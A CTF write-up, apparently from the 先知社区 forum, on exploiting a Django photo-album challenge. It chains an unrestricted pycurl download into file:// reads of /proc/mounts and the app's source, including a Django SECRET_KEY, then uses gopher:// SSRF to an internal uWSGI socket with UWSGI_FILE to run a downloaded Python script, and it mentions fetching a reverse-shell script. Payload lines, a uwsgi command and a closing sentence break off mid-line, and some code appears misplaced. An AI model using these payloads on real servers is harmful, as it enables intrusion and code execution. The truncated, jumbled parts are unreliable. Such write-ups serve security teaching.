

赛时的时候没看这个题目，最后时间队友发现了点，但是苦于本地搭建不好环境以及没有时间就放弃了。

言归正传。

打开题目我们发现提供了一个Download功能，随便测试下，例如：<http://www.venenof.com/1.gif>

## Your Online Photo Album

Image you want to download.

Download



先知社区

同时这里没有限制任何后缀，那么这意味着我们可以远程下载任意文件。

通过file协议我们可以读取任意文件，利用file:///proc/mounts可以找到web目录：

```

2cc2b52a-bef8-40d5-a7f9-5426f5cfc56e
cgroup /sys/fs/cgroup/blkio cgroup ro,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/memory cgroup ro,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/devices cgroup ro,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/freezer cgroup ro,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/net_cls cgroup ro,nosuid,nodev,noexec,relatime,net_cls 0 0
cgroup /sys/fs/cgroup/perf_event cgroup ro,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/net_prio cgroup ro,nosuid,nodev,noexec,relatime,net_prio 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup ro,nosuid,nodev,noexec,relatime,hugetlb 0 0
cgroup /sys/fs/cgroup/pids cgroup ro,nosuid,nodev,noexec,relatime,pids 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
/dev/vda2 /etc/resolv.conf ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/vda2 /etc/hostname ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/vda2 /etc/hosts ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0
/dev/vda2 /usr/src/rwctf/media ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/vda2 /usr/src/rwctf/static ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
proc /proc/bus proc ro,relatime 0 0
proc /proc/fs proc ro,relatime 0 0
proc /proc/irq proc ro,relatime 0 0
proc /proc/sys proc ro,relatime 0 0
proc /proc/sysrq-trigger proc ro,relatime 0 0
tmpfs /proc/acpi tmpfs ro,relatime 0 0
tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755 0 0
tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755 0 0
tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755 0 0
tmpfs /proc/timer_stats tmpfs rw,nosuid,size=65536k,mode=755 0 0
tmpfs /proc/sched_debug tmpfs rw,nosuid,size=65536k,mode=755 0 0
tmpfs /proc/scsi tmpfs ro,relatime 0 0
tmpfs /sys/firmware tmpfs ro,relatime 0 0

```

先知社区

进而我们可以读取web目录的相关文件：

其中rwctf/settings.py的内容如下：

```

"""
Django settings for rwctf project.

Generated by 'django-admin startproject' using Django 2.1.3.

```

For more information on this file, see  
<https://docs.djangoproject.com/en/2.1/topics/settings/>

For the full list of settings and their values, see  
<https://docs.djangoproject.com/en/2.1/ref/settings/>  
"""

```
import os
import dj_database_url

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))

# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = os.environ.get('SECRET_KEY', 'y5fc9nypwm%xlw^plkld4y#jwgrd)$ys6&!cog^!3=xr5m4#&-')

# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = os.environ.get('DEBUG', '0') in ('True', 'true', '1', 'TRUE')

ALLOWED_HOSTS = ['*']

# Application definition

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'xremote',
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'rwctf.urls'

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.template.context_processors.media',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

WSGI_APPLICATION = 'rwctf.wsgi.application'
```

```

# Database
# https://docs.djangoproject.com/en/2.1/ref/settings/#databases

DATABASES = {
    'default': dj_database_url.config(conn_max_age=600, default='sqlite:///tmp/db.sqlite3')
}

# Password validation
# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators

AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    },
]

# Internationalization
# https://docs.djangoproject.com/en/2.1/topics/i18n/

LANGUAGE_CODE = 'en-us'

TIME_ZONE = 'UTC'

USE_I18N = True

USE_L10N = True

USE_TZ = True

# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.1/howto/static-files/

STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
MEDIA_URL = '/media/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')

LOG_PATH = os.environ.get('LOG_PATH', os.path.join(BASE_DIR, 'error.log'))
LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'formatters': {
        'standard': {
            'format': '[%(asctime)s] - [%(levelname)s] - [%(pathname)s:%(lineno)d] - %(message)s',
            'datefmt': '%Y-%m-%d %H:%M:%S'
        },
    },
    'handlers': {
        'console': {
            'level': 'WARNING',
            'class': 'logging.StreamHandler',
            'formatter': 'standard',
            'filters': ['discard_not_found_error'],
        },
    },
}

```

```

'loggers': {
    '': {
        'handlers': ['console'],
        'level': 'WARNING'
    },
    'django': {
        'handlers': ['console'],
        'level': 'WARNING'
    },
},
'filters': {
    'discard_not_found_error': {
        '()': 'django.utils.log.CallbackFilter',
        'callback': lambda record: hasattr(record, 'status_code') and record.status_code != 404,
    }
},
}

```

读取urls.py

```

from django.contrib import admin
from django.urls import path, include

urlpatterns = [
    path('', include('xremote.urls', namespace='xremote')),
    path('admin/', admin.site.urls),
]

```

最后读取xremote.views.py:

```

import os
import pycurl
import uuid

from django.utils import dateformat, timezone
from django.shortcuts import render
from django.views import generic
from django.db import transaction
from django.urls import reverse_lazy
from django.conf import settings
from django.http import HttpResponseRedirect

from . import forms
from . import models

class ImgsMixin(object):
    def get_context_data(self, **kwargs):
        kwargs['imgs'] = self.request.session.get('imgs', [])

        return super().get_context_data(**kwargs)

class DownloadRemote(ImgsMixin, generic.FormView):
    form_class = forms.ImageForm
    template_name = 'index.html'
    success_url = reverse_lazy('xremote:download')

    def download(self, url):
        try:
            c = pycurl.Curl()

            c.setopt(pycurl.URL, url)
            c.setopt(pycurl.TIMEOUT, 10)

            response = c.perform_rb()

            c.close()
        except pycurl.error:

```

```

        response = b''

    return response

def generate_path(self):
    path = os.path.join(settings.MEDIA_ROOT, dateformat.format(timezone.now(), 'Y/m/d'))

    if not os.path.exists(path):
        os.makedirs(path, 0o755)
    return os.path.join(path, str(uuid.uuid4()))

@transaction.atomic
def form_valid(self, form):
    url = form.cleaned_data['url']
    response = self.download(url)
    path = self.generate_path()

    if response:
        with open(path, 'wb') as f:
            f.write(response)

        url = path[len(settings.MEDIA_ROOT)+1:]
        models.Image.objects.create(path=url)
        if 'imgs' not in self.request.session:
            self.request.session['imgs'] = []
        self.request.session['imgs'].append(url)

        self.request.session.modified = True

    return HttpResponseRedirect(self.get_success_url())

```

在这里，我们发现现在settings.py中，引用了uwsgi，同时通过server.sh得到uwsgi的部署方式:

```

#!/bin/sh

BASE_DIR=$(pwd)
./manage.py collectstatic --no-input
./manage.py migrate --no-input

exec uwsgi --socket 0.0.0.0:8000 --module rwctf.wsgi --chdir ${BASE_DIR} --uid nobody --gid nogroup --cheaper-algo spare --che

```

在uwsgi中，存在UWSGI\_FILE这种魔术变量会将指定的文件作为一个新的动态应用加载，那么如果这个文件使我们可以控制的，那么就会造成RCE漏洞。回到开头，我们已经知道网站可以任意download文件，那么我们在本地测试下，搭建[参考文章](#)，而魔术方法可以自动加载执行文件，于是成功执行如下：

← → ↻ ⓘ 不安全 | 133.130.111.111:8000

应用

Internal Server Error

× ...-compose (docker) %1 × ...: /home/rwctf (ssh) %2 × ...ut

```
root@133-130-111-111:~# ls /tmp
1.py 2.py test
root@133-130-111-111:~# ls
mysite mysite_nginx.conf
root@133-130-111-111:~# ls /tmp
1.py 2.py test
root@133-130-111-111:~# ls /tmp
1.py 2.py test zzzz
root@133-130-111-111:~# cat /tmp/2.py
import os
os.system('touch /tmp/zzzz')
root@133-130-111-111:~#
```

本地抓一下包:

```
tcpdump -i lo -port 8001 -w dump.pcap
nc
```

前面我们知道有一个download功能,实际上也是一个ssrf漏洞,于是我们可以利用gopher去内网请求uwsgi,进而动态执行我们自己的脚本,本地测试如下:

```
root@133-130-111-111:/tmp# cat 2.py
import os
os.system('touch /tmp/z')
root@133-130-111-111:/tmp# ls z
ls: cannot access z: No such file or directory
root@133-130-111-111:/tmp# curl -v gopher://127.0.0.1:8001/_%00u%01%00%0C%00QUERY_STRING%00%00%E%00R
REQUEST_URI%01%00%2F%09%00PATH_INFO%01%00%2F%0D%00DOCUMENT_ROOT%15%00%2Fusr%2Fshare%2Fnginx%2Fhtml%0F
R%09%00127.0.0.1%0B%00REMOTE_PORT%05%0035776%0B%00SERVER_PORT%04%008000%0B%00SERVER_NAME%0B%00example
F%00HTTP_USER_AGENT%0B%00curl%2F7.55.1%0B%00HTTP_ACCEPT%03%00%2A%2F%2A
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8001 (#0)
HTTP/1.1 500 Internal Server Error
Connection: close
Content-Type: text/plain

* Recv failure: Connection reset by peer
* Closing connection 0
curl: (56) Recv failure: Connection reset by peer
Internal Server Errorroot@133-130-111-111:/tmp# ls z
z
root@133-130-111-111:/tmp#
```

于是我们回到题目里,先远程下载一个反弹shell的pythonshell,然后得到文件名,例如/usr/src/rwctf/media/2018/12/03/0c0eb4ee-115e-48b5-8fda-c18d8

gopher://127.0.0.1:8000/\_%00u%01%00%0C%00QUERY\_STRING%00%00%E%00REQUEST\_METHOD%03%00GET%0C%00CONTENT\_TYPE%00%00%E%00CONTENT\_

但是我们要注意

```
from django import forms
```

```
from . import models
```



[上一篇：【鹏城杯】（WEB 450）Yii...](#) [下一篇：AI for Security：智...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)